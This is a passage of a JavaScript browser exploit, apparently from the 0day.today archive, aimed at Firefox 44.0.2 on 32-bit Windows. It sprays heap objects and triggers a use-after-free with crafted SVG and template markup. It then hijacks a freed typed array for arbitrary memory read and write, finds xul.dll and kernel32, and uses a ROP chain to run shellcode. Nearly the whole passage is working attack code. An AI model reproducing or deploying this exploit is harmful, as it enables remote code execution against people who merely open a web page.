    console.log("=> " + msg);
}
 
let nodes;
let hijacked;
window.onload = function() {
    if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {
        throw new Error("unsupported user-agent");
    }
 
    const spray = new Spray();
 
    /*
     * spray nodes
     */
    let bruteforce = true;
    let addr = spray.getNextAddr(0);
    const href = window.location.href.split("?");
    if (href.length === 2) {
        const query = href[1].split("=");
        if (query[0] === "style") {
            bruteforce = false;
        }
        addr = parseInt(query[1]);
    }
    nodes = spray.nodes(addr, bruteforce);
 
    /*
     * spray node pointers and trigger the bug
     */
    document.body.innerHTML = "<svg><img id='AAAA'>";
    const pointers = spray.pointers();
    document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";
 
    /*
     * on to the next run...
     */
    if (bruteforce === true) {
        const style = spray.findStyleAddr(nodes);
        nodes = null;
        if (style) {
            window.location = href[0] + "?style=" + style;
        } else {
            window.location = href[0] + "?continue=" + spray.getNextAddr(addr);
        }
        return;
    }
 
    /*
     * reallocate the freed Uint32Array
     */
    hijacked = spray.findArray(nodes, spray.arrays());
 
    /*
     * setup helpers
     */
    const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);
 
    /* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]
     * contain the address of xul!PermanentAtomImpl::`vftable'.
     *
     * Note that the subtracted offset is specific to firefox 44.0.2.
     * However, since we can read arbitrary memory by this point, the
     * base of xul could easily (albeit perhaps somewhat slowly) be
     * located by searching for a PE signature */
    const xulBase = rwx.readDWord(addr) - 0x1c1f834;
 
    log("style found at 0x" + addr.toString(16));
    log("xul.dll found at 0x" + xulBase.toString(16));
 
    const xulPE = new PortableExecutable(xulBase, rwx);
    xulPE.read();
    const rop = new ROPHelper(xulPE, rwx);
    const kernel32 = new KERNEL32(rop, xulPE, rwx);
    const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");
    const kernel32PE = new PortableExecutable(kernel32handle, rwx);
    kernel32PE.read();
    const ntdll = new NTDLL(rop, kernel32PE, rwx);
    const icuuc55 = new ICUUC55(rop, xulPE, rwx);
 
    /*
     * execute shellcode
     */
    const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());
    const exec = icuuc55.alloc(stack, shellcode.length);
    const proc = xulPE.search("kernel32.dll", "GetProcAddress");
    rwx.writeString(exec, shellcode.join(""));
    rop.execute(exec, [kernel32handle, proc], true);
};
</script>
</head>
</html>

#  0day.today [2024-12-23]  #